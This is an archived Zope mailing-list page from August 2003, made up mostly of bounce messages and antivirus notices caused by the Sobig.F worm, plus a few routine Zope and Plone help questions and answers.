A.Saravanan, WundtStrasse 7,Zi:9L1, Dresden - 01217 Germany Home: 0351-7997546 Mobile: 01797395091 ___________________________________________________ Meet your old school or college friends from 1 Million + database... Click here to reunite www.batchmates.com/rediff.asp From postmaster at tv2.no Wed Aug 20 15:03:16 2003 From: postmaster at tv2.no (postmaster@tv2.no) Date: Fri Aug 22 13:56:45 2003 Subject: [Zope] Delivery Status Notification (Failure) Message-ID: This is an automatically generated Delivery Status Notification. Delivery to the following recipients failed. lars.erik.hauge@nettavisen.no -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Re: Your application Date: Wed, 20 Aug 2003 5:50:12 +0200 Size: 1834 Url: http://lists.zope.org/pipermail/zope/attachments/20030820/82bddae1/attachment-0001.eml From MAILER-DAEMON at aol.com Fri Aug 22 03:27:26 2003 From: MAILER-DAEMON at aol.com (Mail Delivery Subsystem) Date: Fri Aug 22 13:58:15 2003 Subject: [Zope] Returned mail: Service unavailable Message-ID: <200308220627.CAH06253@rly-xn04.mx.aol.com> The original message was received at Fri, 22 Aug 2003 02:26:42 -0400 (EDT) from cpe250.clearpar.com [12.109.168.132] *** ATTENTION *** Your e-mail is being returned to you because there was a problem with its delivery. The address which was undeliverable is listed in the section labeled: "----- The following addresses had permanent fatal errors -----". The reason your mail is being returned to you is listed in the section labeled: "----- Transcript of Session Follows -----". The line beginning with "<<<" describes the specific reason your e-mail could not be delivered. The next line contains a second error message which is a general translation for other e-mail servers. Please direct further questions regarding this message to your e-mail administrator. --AOL Postmaster ----- The following addresses had permanent fatal errors ----- ----- Transcript of session follows ----- ... while talking to air-xn03.mail.aol.com.: >>> DATA <<< 554 TRANSACTION FAILED - Unrepairable Virus Detected. Your mail has not been sent. 554 ... Service unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 651 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030822/17154f33/attachment-0001.bin From MAILER-DAEMON at mail4.rits.idcomnet.no Fri Aug 22 09:31:17 2003 From: MAILER-DAEMON at mail4.rits.idcomnet.no (Mail Delivery Subsystem) Date: Fri Aug 22 14:00:20 2003 Subject: [Zope] Returned mail: see transcript for details Message-ID: <200308220631.h7M6VCjf013601@mail4.rits.idcomnet.no> The original message was received at Fri, 22 Aug 2003 08:26:41 +0200 from mail1.rits.idcomnet.no [195.204.177.98] ----- The following addresses had permanent fatal errors ----- (reason: 554 5.4.6 Too many hops) ----- Transcript of session follows ----- 554 5.4.6 Too many hops 26 (25 max): from via localhost, to -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Your details Date: Fri, 22 Aug 2003 8:22:08 +0200 Size: 5889 Url: http://lists.zope.org/pipermail/zope/attachments/20030822/ee7d9d6b/attachment-0001.eml From greeny_17 at yahoo.com Thu Aug 21 12:59:03 2003 From: greeny_17 at yahoo.com (jason) Date: Fri Aug 22 14:17:44 2003 Subject: [Zope] Re: About customizing specific folder content big icon... In-Reply-To: References: Message-ID: To change the icon associated with how the folder gets seen in the trees and in the portal go to portal_types and to your new content type. There is a field specified for your icon. The icon search by default is the same area that all the other icons are at which I think is /Products/CMFPlone/skins/plone_images/ and if you put it in there you can then just access it. Jason Gelin Patrick wrote: > Hi, > > I created a new WorkSpace_Folder type derived of a Plone_Folder type. I associated a workspace_icon.gif to WorkSpace_Folder type that I can see in navigation tree, it's beautiful! But WorkSpace_Folder content display always the Plone_Folder big icon... How can I change it? > > Thanks. > > > ------------------------------------------------------- > This SF.net email is sponsored by Dice.com. > Did you know that Dice has over 25,000 tech jobs available today? From > careers in IT to Engineering to Tech Sales, Dice has tech jobs from the > best hiring companies. http://www.dice.com/index.epl?rel_code4 From anithageorge27 at hotmail.com Wed Aug 20 06:53:03 2003 From: anithageorge27 at hotmail.com (Anitha George) Date: Fri Aug 22 14:17:59 2003 Subject: [Zope] Re: [Zope-dev] Reading contents of a Page Template Message-ID: Thank You Mr.Cameroon I tried item/recurse and it works I need to try a few more things Especially with respect to showing the anchor Tags after parsing through the files. I just wanted to stress the importance of getting the anchor tags to appear in my sitemap as well. I apologize if writing everything in CAPS seemed to imply something else. I am just a beginner at this and hence the mistake. Thanks for pointing this out .I will avoid this in all future mails. Thanks once again Anitha >From: J Cameron Cooper >To: Anitha George , zope-dev@zope.org >Subject: Re: [Zope-dev] Reading contents of a Page Template >Date: Mon, 18 Aug 2003 15:05:44 -0500 > >>I have a requirement to create a SiteMap for my site. >>My site is dynamically built from the Zope tree structure. >>Folder and Sub Folders need to appear as a tree structure and need to be >>sorted by name and date. >>I have viewed the examples in the Examples folder in ZMI and gotten a >>general Idea of how to get the files within a specific folder. >>But I need to be able to go through the whole set of folders and sub >>Folders and create the SiteMap and not just for a single folder . >>Is there some While- Do Loop which I can use to Loop through till I reach >>the Lowest rung in a Tree for each and every Folder and create a Site Map. > >Basic CS. Q: How do you walk a tree? A: Recursion. > >Try this Page Template. Name it 'recurse':: >
    >
  • > An object : > A title > tal:content="structure item/recurse">A Folder listing >
  • >
> >The condition check is pretty primitive. Probably a better one would check >for the presence of the objectValues method like > >tal:define="folderish nocall:item/objectValues" >tal:condition="folderish | nothing" > >This will construct a nested HTML unordered list of your tree from the >place where you called it (from inside a valid HTML page.) You can of >course tweak the display code. > >There are also products that will create site maps. Search around. > >>Also Each of these folders has an index_html page template which can be >>linked from the SiteMap that is created. >>Each of the index_html files has a number of anchor tags. >>These Tags are for moving within the Page. >>I need to be able to include these Tage as well in My SiteMap ... >>CAN I GET THESE ANCHOR TAG LINKS ON EACH PAGE BY READING THROUGH THE >>CONTENT OF EACH OF THESE PAGE TEMPLATES? >>IS THERE SOME OTHER WAY TO DO ALL THESE ??? > >You know that all-caps is considered yelling rather than empahsis, right? >Generally not a good idea when asking for help. > >Anyway, this is harder. You would have to render and then parse the HTML to >get the tags. You could have a script that does that on leaves, or create >(either offline or dynamically) children (by inheriting ObjectManager in a >custom class) or a list property of the object representing the available >anchor tags. You could also do this by hand. Maybe you could replace your >documents with folders containing the various anchors as separate segments >composited in the index_html. The segments could be easily found that way, >although you'd have to make your tree-walker recognize them as leaves >instead of containers. > > --jcc > >-- >"My point and period will be throughly wrought, >Or well or ill, as this day's battle's fought." > > _________________________________________________________________ Add photos to your messages with MSN 8. Get 2 months FREE*. http://join.msn.com/?page=features/featuredemail From virusscanner at systime.com Wed Aug 20 00:58:46 2003 From: virusscanner at systime.com (virusscanner@systime.com) Date: Fri Aug 22 14:20:41 2003 Subject: [Zope] Virus Alert Message-ID: The mail message (file: document_all.pif) you sent to bfedak@systime.com contains a virus. (on vega.systime.com) From MAILER-DAEMON at relay1.tdcnorge.no Thu Aug 21 05:39:14 2003 From: MAILER-DAEMON at relay1.tdcnorge.no (Mail Delivery Subsystem) Date: Fri Aug 22 14:20:58 2003 Subject: [Zope] Returned mail: see transcript for details Message-ID: <200308210239.h7L2dE222640@relay1.tdcnorge.no> The original message was received at Thu, 21 Aug 2003 04:39:09 +0200 (MEST) from [62.97.227.98] ----- The following addresses had permanent fatal errors ----- (reason: 550 Requested action aborted: Message may contain a virus.) ----- Transcript of session follows ----- ... while talking to mail.konkurransetilsynet.no.: >>> DATA <<< 550 Requested action aborted: Message may contain a virus. 554 5.0.0 Service unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Re: Your application Date: Thu, 21 Aug 2003 4:37:34 +0200 Size: 725 Url: http://lists.zope.org/pipermail/zope/attachments/20030821/94da5718/attachment-0001.eml From MAILER-DAEMON at csonline.com.cn Fri Aug 22 02:53:15 2003 From: MAILER-DAEMON at csonline.com.cn (MAILER-DAEMON@csonline.com.cn) Date: Fri Aug 22 14:21:58 2003 Subject: [Zope] failure notice Message-ID: Hi. This is the SJ Mail Send program at csonline.com.cn. I'm afraid I wasn't able to deliver your message to the following addresses. I've given up. Sorry it didn't work out. ºÜ±§Ç¸£¬ÎÒ²»Äܽ«ÄúµÄÐżþͶµÝµ½ÒÔϵØÖ·¡£ : Sorry, no mailbox here by that name. ºÜ±§Ç¸£¬Ã»ÓÐÕâ¸öÓÊÏä¡£SJ Mail Version 3.0 --- Below this line is a copy of the message. --- ÏÂÃæÊÇÄú·¢³öÐżþµÄ¸±±¾ Return-Path: Received: SJ Mail Version 3.0 MIME-Version: 1.0 Received: from unknown (HELO HNDX-159) (130.1.0.1) by 130.1.0.2 with SMTP; 21 Aug 2003 16:52:24 -0000 From: To: Subject: Re: Approved Date: Fri, 22 Aug 2003 0:50:44 +0800 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_1795855A" This is a multipart message in MIME format --_NextPart_000_1795855A Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Please see the attached file for details. --_NextPart_000_1795855A Content-Type: application/octet-stream; name="_________warn.txt" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="_________warn.txt" UkFWIEFudGlWaXJ1cyBoYXMgZGVsZXRlZCB0aGlzIGZpbGUNCiBiZWNhdXNlIGl0IGNvbnRhaW5l ZCBkYW5nZXJvdXMgY29kZSENCg0KDQq+r7jmo7q0y87EvP66rNPQsqG2vrvy1d/ArLv408q8/rnY vPzX1qOho6ENCiA= --_NextPart_000_1795855A-- From fjord at fjordimages.com Fri Aug 22 03:00:33 2003 From: fjord at fjordimages.com (fjord@fjordimages.com) Date: Fri Aug 22 14:22:58 2003 Subject: [Zope] Re: Re: Wicked screensaver Message-ID: <1061491768.30932.blah> Thank you for visiting FjordImages. If you urgently need to contact me, pls try phone no.: +47 40 49 17 74 brgds Ola Moen FjordImages -------- Original Message -------- > See the attached file for details From Patrick.Gelin at rpn.ch Thu Aug 21 11:07:34 2003 From: Patrick.Gelin at rpn.ch (Gelin Patrick) Date: Fri Aug 22 14:23:25 2003 Subject: [Zope] About customizing specific folder content big icon... Message-ID: Hi, I created a new WorkSpace_Folder type derived of a Plone_Folder type. I associated a workspace_icon.gif to WorkSpace_Folder type that I can see in navigation tree, it's beautiful! But WorkSpace_Folder content display always the Plone_Folder big icon... How can I change it? Thanks. From MAILER-DAEMON at aol.com Thu Aug 21 23:13:16 2003 From: MAILER-DAEMON at aol.com (Mail Delivery Subsystem) Date: Fri Aug 22 14:25:12 2003 Subject: [Zope] Returned mail: Service unavailable Message-ID: <200308220213.WAE19379@rly-xk05.mx.aol.com> The original message was received at Thu, 21 Aug 2003 22:12:22 -0400 (EDT) from cpe250.clearpar.com [12.109.168.132] *** ATTENTION *** Your e-mail is being returned to you because there was a problem with its delivery. The address which was undeliverable is listed in the section labeled: "----- The following addresses had permanent fatal errors -----". The reason your mail is being returned to you is listed in the section labeled: "----- Transcript of Session Follows -----". The line beginning with "<<<" describes the specific reason your e-mail could not be delivered. The next line contains a second error message which is a general translation for other e-mail servers. Please direct further questions regarding this message to your e-mail administrator. --AOL Postmaster ----- The following addresses had permanent fatal errors ----- ----- Transcript of session follows ----- ... while talking to air-xk01.mail.aol.com.: >>> DATA <<< 554 TRANSACTION FAILED - Unrepairable Virus Detected. Your mail has not been sent. 554 ... Service unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 653 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030821/d70e7f94/attachment-0001.bin From MAILsweeper at horizon-bcbsnj.com Wed Aug 20 15:39:58 2003 From: MAILsweeper at horizon-bcbsnj.com (MAILsweeper@horizon-bcbsnj.com) Date: Fri Aug 22 14:29:46 2003 Subject: [Zope] Email T642c34f9450c95281f728 contains a virus Message-ID: A virus has been detected in email T642c34f9450c95281f728 with a subject of "Your details" that Zope@zope.org sent to jobs@horizon-bcbsnj.com Scenarios/Incoming/Sophos Antivirus: A virus has been detected: 'W32/Sobig-F'. Scenarios/Incoming/PIF: A filename matching the file mask was detected: 'application.pif'. Scenarios/Incoming/Remove Attacments: 'ItemLength.GE.0'. From MAILER-DAEMON at aol.com Thu Aug 21 23:49:01 2003 From: MAILER-DAEMON at aol.com (Mail Delivery Subsystem) Date: Fri Aug 22 14:30:31 2003 Subject: [Zope] Returned mail: User unknown Message-ID: <200308220249.WAB10320@rly-xi01.mx.aol.com> The original message was received at Thu, 21 Aug 2003 22:48:15 -0400 (EDT) from cpe250.clearpar.com [12.109.168.132] *** ATTENTION *** Your e-mail is being returned to you because there was a problem with its delivery. The address which was undeliverable is listed in the section labeled: "----- The following addresses had permanent fatal errors -----". The reason your mail is being returned to you is listed in the section labeled: "----- Transcript of Session Follows -----". The line beginning with "<<<" describes the specific reason your e-mail could not be delivered. The next line contains a second error message which is a general translation for other e-mail servers. Please direct further questions regarding this message to your e-mail administrator. --AOL Postmaster ----- The following addresses had permanent fatal errors ----- ----- Transcript of session follows ----- ... while talking to air-xi04.mail.aol.com.: >>> RCPT To: <<< 550 MAILBOX NOT FOUND 550 ... User unknown -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 653 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030821/53f2a165/attachment-0001.bin From content-scanner at fw-notify.net Thu Aug 21 03:29:26 2003 From: content-scanner at fw-notify.net (EMail Content Scanner) Date: Fri Aug 22 14:31:03 2003 Subject: [Zope] [gw.appload.net ] [WAR 033] Virus detected Message-ID: Your EMail with subject 'Re: Your application', sent to the recipient(s) peter.brandstrom@appload.net contains a virus or other harmful content. The message has NOT been delivered to the recipients. Please contact the postmaster (mailto:administrator@appload.net) to resolve this issue. -=----------= START OF SCANNER OUTPUT =-------------=- /tmp/19pdKL-0004JV-00-tmp/textfile0 ok. /tmp/19pdKL-0004JV-00-tmp/textfile1 ok. /tmp/19pdKL-0004JV-00-tmp/your_document.pif packed: PE_Patch /tmp/19pdKL-0004JV-00-tmp/your_document.pif packed: TeLock /tmp/19pdKL-0004JV-00-tmp/your_document.pif infected: I-Worm.Sobig.f -=-----------= END OF SCANNER OUTPUT =--------------=- -- Message generated by Astaro Security Linux From postmaster at emirates.net.ae Wed Aug 20 23:11:11 2003 From: postmaster at emirates.net.ae (Internet Mail Delivery) Date: Fri Aug 22 14:42:58 2003 Subject: [Zope] Delivery Notification: Delivery has failed Message-ID: <0HJX00AORJUNJT@dxbrsmail1.emirates.net.ae> This report relates to a message you sent with the following header fields: Return-path: Return-path: Received: from ims-ms-daemon.dxbrsmail1.emirates.net.ae by dxbrsmail1.emirates.net.ae (I&ES Mail Server 4.2) id <0HJX00AOOJUNJT@dxbrsmail1.emirates.net.ae> (original mail from zope@zope.org); Wed, 20 Aug 2003 22:11:11 +0400 (GST) Received: from dimail3 ([213.42.1.74]) by dxbrsmail1.emirates.net.ae (I&ES Mail Server 4.2) with ESMTP id <0HJX005QCBUZF7@dxbrsmail1.emirates.net.ae> for mts@ims-ms-daemon (ORCPT mts@emirates.net.ae); Wed, 20 Aug 2003 19:18:36 +0400 (GST) Received: from PCKJEMI_OPPL ([62.97.227.98]) by dimail3.emirates.net.ae (I&ES Mail Server 4.2) with ESMTP id <0HJX00H5PBUHRJ@dimail3.emirates.net.ae> for mts@emirates.net.ae (ORCPT mts@emirates.net.ae); Wed, 20 Aug 2003 19:18:20 +0400 (GST) Date: Wed, 20 Aug 2003 17:16:55 +0200 From: zope@zope.org Subject: Your details To: mts@emirates.net.ae Message-id: <0HJX00H5SBUIRJ@dimail3.emirates.net.ae> MIME-version: 1.0 Content-type: multipart/mixed; boundary=_NextPart_000_07189A4E Your message cannot be delivered to the following recipients: Recipient address: mts@ims-ms-daemon Original address: mts@emirates.net.ae Reason: Over quota -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: zope@zope.org Subject: Your details Date: Wed, 20 Aug 2003 17:16:55 +0200 Size: 1317 Url: http://lists.zope.org/pipermail/zope/attachments/20030820/df4577bd/attachment-0001.eml From praveen at softprosys.com Fri Aug 22 04:57:41 2003 From: praveen at softprosys.com (Praveen Kumar) Date: Fri Aug 22 14:45:09 2003 Subject: [Zope] How user edit his account? Message-ID: <1061443766.1227.9.camel@Praveen> Dear List, I would like to know one thing. I'm using exuserfolder to provide the user accounts. While logged into the Zope application we can modify the existing user account information. I would like to know how user can modify his own account through web? If we hosted the site then User can logged into the site by giving his username and password. Once he logged in then he should able to modify his account. Please give me some ideas. -- Regards Praveen Kumar, SoftPro Systems Ltd, Ph: 91-40-23111806 Mobile: 98494 46416 From MAILER-DAEMON at aol.com Fri Aug 22 01:38:52 2003 From: MAILER-DAEMON at aol.com (Mail Delivery Subsystem) Date: Fri Aug 22 14:52:23 2003 Subject: [Zope] Returned mail: User unknown Message-ID: <200308220438.AAC15183@rly-xh03.mx.aol.com> The original message was received at Fri, 22 Aug 2003 00:38:12 -0400 (EDT) from cpe250.clearpar.com [12.109.168.132] *** ATTENTION *** Your e-mail is being returned to you because there was a problem with its delivery. The address which was undeliverable is listed in the section labeled: "----- The following addresses had permanent fatal errors -----". The reason your mail is being returned to you is listed in the section labeled: "----- Transcript of Session Follows -----". The line beginning with "<<<" describes the specific reason your e-mail could not be delivered. The next line contains a second error message which is a general translation for other e-mail servers. Please direct further questions regarding this message to your e-mail administrator. --AOL Postmaster ----- The following addresses had permanent fatal errors ----- ----- Transcript of session follows ----- ... while talking to air-xh03.mail.aol.com.: >>> RCPT To: <<< 550 MAILBOX NOT FOUND 550 ... User unknown -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 655 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030822/48f20e57/attachment-0001.bin From MAILER-DAEMON at relay1.tdcnorge.no Thu Aug 21 17:30:23 2003 From: MAILER-DAEMON at relay1.tdcnorge.no (Mail Delivery Subsystem) Date: Fri Aug 22 14:52:54 2003 Subject: [Zope] Returned mail: see transcript for details Message-ID: <200308211430.h7LEUN208747@relay1.tdcnorge.no> The original message was received at Thu, 21 Aug 2003 16:30:22 +0200 (MEST) from [62.97.227.98] ----- The following addresses had permanent fatal errors ----- (reason: 550 Requested action aborted: Message may contain a virus.) ----- Transcript of session follows ----- ... while talking to mail.konkurransetilsynet.no.: >>> DATA <<< 550 Requested action aborted: Message may contain a virus. 554 5.0.0 Service unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Your details Date: Thu, 21 Aug 2003 16:28:49 +0200 Size: 710 Url: http://lists.zope.org/pipermail/zope/attachments/20030821/fec34f94/attachment-0001.eml From noreply at WEBMAILLOGIN.COM Thu Aug 21 19:04:46 2003 From: noreply at WEBMAILLOGIN.COM (AntiVirus Filter) Date: Fri Aug 22 14:59:44 2003 Subject: [Zope] AntiVirus scan results References: Message-ID: ----------------------- This e-mail is generated by the WEBMAILLOGIN.COM mail server to warn you that the e-mail sent by zope@zope.org to a@punk.org is infected with virus: Win32/Sobig.F@mm. Please contact your system administrator for further information. If you are the sender: ------------------- The scanned e-mail has your address in the header field. Either your computer is infected or someone's computer having your e-mail address in the address book has been infected. (Please note that some viruses are sending e-mails directly from your computer. Our advise is to check your computer using an up-to-date antivirus product). If you are the receiver: --------------------- Please contact the sender: very probably he/she doesn't know he/she has a computer virus. Actions taken for the infected files: ------------------------------------- The infected file was saved to quarantine with name: 1061503486-1303864.msg. The file (part0002:thank_you.pif) attached to mail (with subject:Re: Thank you!) sent by zope@zope.org to a@punk.org is infected with virus: Win32/Sobig.F@mm. Cannot clean this file. The file was successfully deleted by AntiVirus. ------------------------ this is a copy of the e-mail header: Received: from mail.consumer.net (account admin) by bk2.webmaillogin.com (CommuniGate Pro RPOP 4.0.5) with RPOP id 1303864 for a@punk.org; Thu, 21 Aug 2003 18:04:45 -0400 Received: from CPDEV20 (cpe250.clearpar.com [12.109.168.132]) by consumer.net (Post.Office MTA v3.5.3 release 223 ID# 0-70596U1100L200S0V35) with ESMTP id net for ; Thu, 21 Aug 2003 11:54:57 -0400 From noreply at WEBMAILLOGIN.COM Thu Aug 21 19:09:09 2003 From: noreply at WEBMAILLOGIN.COM (AntiVirus Filter) Date: Fri Aug 22 15:00:13 2003 Subject: [Zope] AntiVirus scan results References: Message-ID: ----------------------- This e-mail is generated by the WEBMAILLOGIN.COM mail server to warn you that the e-mail sent by zope@zope.org to a@punk.org is infected with virus: Win32/Sobig.F@mm. Please contact your system administrator for further information. If you are the sender: ------------------- The scanned e-mail has your address in the header field. Either your computer is infected or someone's computer having your e-mail address in the address book has been infected. (Please note that some viruses are sending e-mails directly from your computer. Our advise is to check your computer using an up-to-date antivirus product). If you are the receiver: --------------------- Please contact the sender: very probably he/she doesn't know he/she has a computer virus. Actions taken for the infected files: ------------------------------------- The infected file was saved to quarantine with name: 1061503749-1305201.msg. The file (part0002:your_document.pif) attached to mail (with subject:Re: Approved) sent by zope@zope.org to a@punk.org is infected with virus: Win32/Sobig.F@mm. Cannot clean this file. The file was successfully deleted by AntiVirus. ------------------------ this is a copy of the e-mail header: Received: from mail.consumer.net (account admin) by bk2.webmaillogin.com (CommuniGate Pro RPOP 4.0.5) with RPOP id 1305201 for a@punk.org; Thu, 21 Aug 2003 18:09:08 -0400 Received: from CPDEV20 (cpe250.clearpar.com [12.109.168.132]) by consumer.net (Post.Office MTA v3.5.3 release 223 ID# 0-70596U1100L200S0V35) with ESMTP id net for ; Thu, 21 Aug 2003 14:42:07 -0400 From classam at joplin.com Thu Aug 21 22:40:52 2003 From: classam at joplin.com (classam@joplin.com) Date: Fri Aug 22 15:03:27 2003 Subject: [Zope] Re: Re: Re: My details Message-ID: Your email to with subject "Re: Re: My details" had an attachment named "application.pif" An automatic program has determined that this is an executable attachment. This is a common indication of a virus or worm. Your message has not been delivered. If you intended to send an executable file to , you have two options: 1> You could encapsulate the file in a .ZIP or other archive. As long as it is not an executable, self-extracting archive, the mail system will pass the attachment. 2> The recipient may request that the executable attachment filter be removed from their mailbox. If you did not send this file, your own computer may be infected by a virus. From MAILER-DAEMON at nymx01.mgw.rr.com Fri Aug 22 02:47:43 2003 From: MAILER-DAEMON at nymx01.mgw.rr.com (Mail Delivery Subsystem) Date: Fri Aug 22 15:06:58 2003 Subject: [Zope] Returned mail: see transcript for details Message-ID: <200308220547.h7M5lhCp020447@nymx01.mgw.rr.com> The original message was received at Fri, 22 Aug 2003 01:47:40 -0400 (EDT) from cpe250.clearpar.com [12.109.168.132] ----- The following addresses had permanent fatal errors ----- (reason: 550 5.1.1 unknown or illegal alias: wtb3@carolina.rr.com) ----- Transcript of session follows ----- ... while talking to ms-mta-01-pix.southeast.rr.com.: >>> DATA <<< 550 5.1.1 unknown or illegal alias: wtb3@carolina.rr.com 550 5.1.1 ... User unknown <<< 554 5.5.0 No recipients have been specified. -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 712 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030822/b69bb6ad/attachment-0001.bin From classam at joplin.com Thu Aug 21 22:40:52 2003 From: classam at joplin.com (classam@joplin.com) Date: Fri Aug 22 15:08:08 2003 Subject: [Zope] Re: Re: Thank you! Message-ID: Your email to with subject "Re: Thank you!" had an attachment named "details.pif" An automatic program has determined that this is an executable attachment. This is a common indication of a virus or worm. Your message has not been delivered. If you intended to send an executable file to , you have two options: 1> You could encapsulate the file in a .ZIP or other archive. As long as it is not an executable, self-extracting archive, the mail system will pass the attachment. 2> The recipient may request that the executable attachment filter be removed from their mailbox. If you did not send this file, your own computer may be infected by a virus. From postmaster at compelcon.se Wed Aug 20 14:01:42 2003 From: postmaster at compelcon.se (MailScanner) Date: Fri Aug 22 15:09:11 2003 Subject: [Zope] Warning: E-mail viruses detected Message-ID: <200308201101.h7KB1gim008296@compelcon.se> Our virus detector has just been triggered by a message you sent:- To: Subject: Re: Approved Date: Wed Aug 20 13:01:40 2003 Any infected parts of the message have not been delivered. This message is simply to warn you that your computer system may have a virus present and should be checked. The virus detector said this about the message: Report: /var/spool/mailscanner/incoming/h7KB01xA007914/your_details.pif Infection: W32/Sobig.F Shortcuts to MS-Dos programs are very dangerous in email (your_details.pif) -- MailScanner Email Virus Scanner www.mailscanner.info -- This message has been scanned for viruses and dangerous content by MailScanner at Compelcon, and is believed to be clean. From postmaster at tv2.no Wed Aug 20 11:50:04 2003 From: postmaster at tv2.no (postmaster@tv2.no) Date: Fri Aug 22 15:10:44 2003 Subject: [Zope] Delivery Status Notification (Failure) Message-ID: This is an automatically generated Delivery Status Notification. Delivery to the following recipients failed. net2@tv2.no -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Re: Your application Date: Wed, 20 Aug 2003 6:18:18 +0200 Size: 1804 Url: http://lists.zope.org/pipermail/zope/attachments/20030820/6e8929c6/attachment-0001.eml From postmaster at tv2.no Wed Aug 20 11:35:16 2003 From: postmaster at tv2.no (postmaster@tv2.no) Date: Fri Aug 22 15:14:49 2003 Subject: [Zope] Delivery Status Notification (Failure) Message-ID: This is an automatically generated Delivery Status Notification. Delivery to the following recipients failed. lars.erik.hauge@nettavisen.no -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Re: Your application Date: Wed, 20 Aug 2003 1:44:57 +0200 Size: 1834 Url: http://lists.zope.org/pipermail/zope/attachments/20030820/e9d0b2bf/attachment-0001.eml From postmaster at bezirk-niederbayern.de Thu Aug 21 18:50:06 2003 From: postmaster at bezirk-niederbayern.de (postmaster@bezirk-niederbayern.de) Date: Fri Aug 22 15:41:30 2003 Subject: [Zope] VIRUS IN YOUR MAIL Message-ID: <200308211550.h7LFo6Lr012168@bez-la-siac.bezirk.de> V I R U S A L E R T Our viruschecker found the W32/Sobig.f@MM virus(es) in your email to the following recipient(s): -> Delivery of the email was stopped! Please check your system for viruses, or ask your system administrator to do so. For your reference, here are the headers from your email: ------------------------- BEGIN HEADERS ----------------------------- Received: from pop3.landshut.org by localhost with POP3 (fetchmail-5.9.10) for kultur@bezirk-niederbayern.de (multi-drop); Thu, 21 Aug 2003 17:50:04 +0200 (CEST) Received: from DARIUS (pD9E8AE68.dip.t-dialin.net [217.232.174.104]) by uranus.landshut.org (8.11.1/8.11.1/FF-Nr10) with ESMTP id h7LFmGx11962 for ; Thu, 21 Aug 2003 17:48:20 +0200 Message-Id: <200308211548.h7LFmGx11962@uranus.landshut.org> From: To: Subject: Re: Re: My details Date: Thu, 21 Aug 2003 17:50:05 +0200 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_00C8A499" -------------------------- END HEADERS ------------------------------ From fjord at fjordimages.com Fri Aug 22 07:49:13 2003 From: fjord at fjordimages.com (fjord@fjordimages.com) Date: Fri Aug 22 15:43:31 2003 Subject: [Zope] Re: Re: Your application Message-ID: <1061534562.30563.blah> Thank you for visiting FjordImages. If you urgently need to contact me, pls try phone no.: +47 40 49 17 74 brgds Ola Moen FjordImages -------- Original Message -------- > See the attached file for details From security at entega-service.de Wed Aug 20 21:47:15 2003 From: security at entega-service.de (security@entega-service.de) Date: Fri Aug 22 15:49:37 2003 Subject: [Zope] Virus Alert Message-ID: <20030820184715.3F05C1811A77@LX5053.heag.de> Warnung von entega Service Firewall: In der e-mail (Datei: document_all.pif), die Sie an WasmusV@Heag.de gesendet haben, wurde ein Virus entdeckt (08/20/2003 20:47:07: interscan on the network) From fjord at fjordimages.com Fri Aug 22 08:00:00 2003 From: fjord at fjordimages.com (fjord@fjordimages.com) Date: Fri Aug 22 15:50:48 2003 Subject: [Zope] Re: Thank you! Message-ID: <1061468011.29352.blah> Thank you for visiting FjordImages. If you urgently need to contact me, pls try phone no.: +47 40 49 17 74 brgds Ola Moen FjordImages -------- Original Message -------- > Please see the attached file for details. From garry at joydiv.fsnet.co.uk Wed Aug 20 11:03:44 2003 From: garry at joydiv.fsnet.co.uk (garry saddington) Date: Fri Aug 22 15:52:20 2003 Subject: [Zope] nis user folder Message-ID: <200308201003.44440.garry@joydiv.fsnet.co.uk> When i try to add a nis user folder to my zmi i get an error message: error type:keyError Error value:PARENT_URL can anyone help me to get this working, it seems the simplest way to go for me? regards garry From postmaster at uk.experian.com Thu Aug 21 03:57:01 2003 From: postmaster at uk.experian.com (postmaster@uk.experian.com) Date: Fri Aug 22 15:53:46 2003 Subject: [Zope] A Virus was detected in the message from zope@zope.org Message-ID: Your message Re: Approved dated Wed, 20 Aug 2003 22:00:56 --0700 has not been delivered to John.Morrison@uk.experian.com During automatic analysis of the message, a Virus was detected. From jonathansamuel at yahoo.com Thu Aug 21 16:16:04 2003 From: jonathansamuel at yahoo.com (Jonathan Mark) Date: Fri Aug 22 15:56:51 2003 Subject: [Zope] HOw Do I Modify A Defined Variable In TAL? Message-ID: <20030821221604.39042.qmail@web14003.mail.yahoo.com> Using TAL and ZPT, I would like to define a global variable myVar, and then later on in the page add 1 to myVar, e.g. myVar = myVar + 1. How can I modify a variable in TAL? I know how to modify a tag using REPLACE, ATTRIBUTES etc., but I want to modify a variable that I have previously defined. __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software http://sitebuilder.yahoo.com From fjord at fjordimages.com Fri Aug 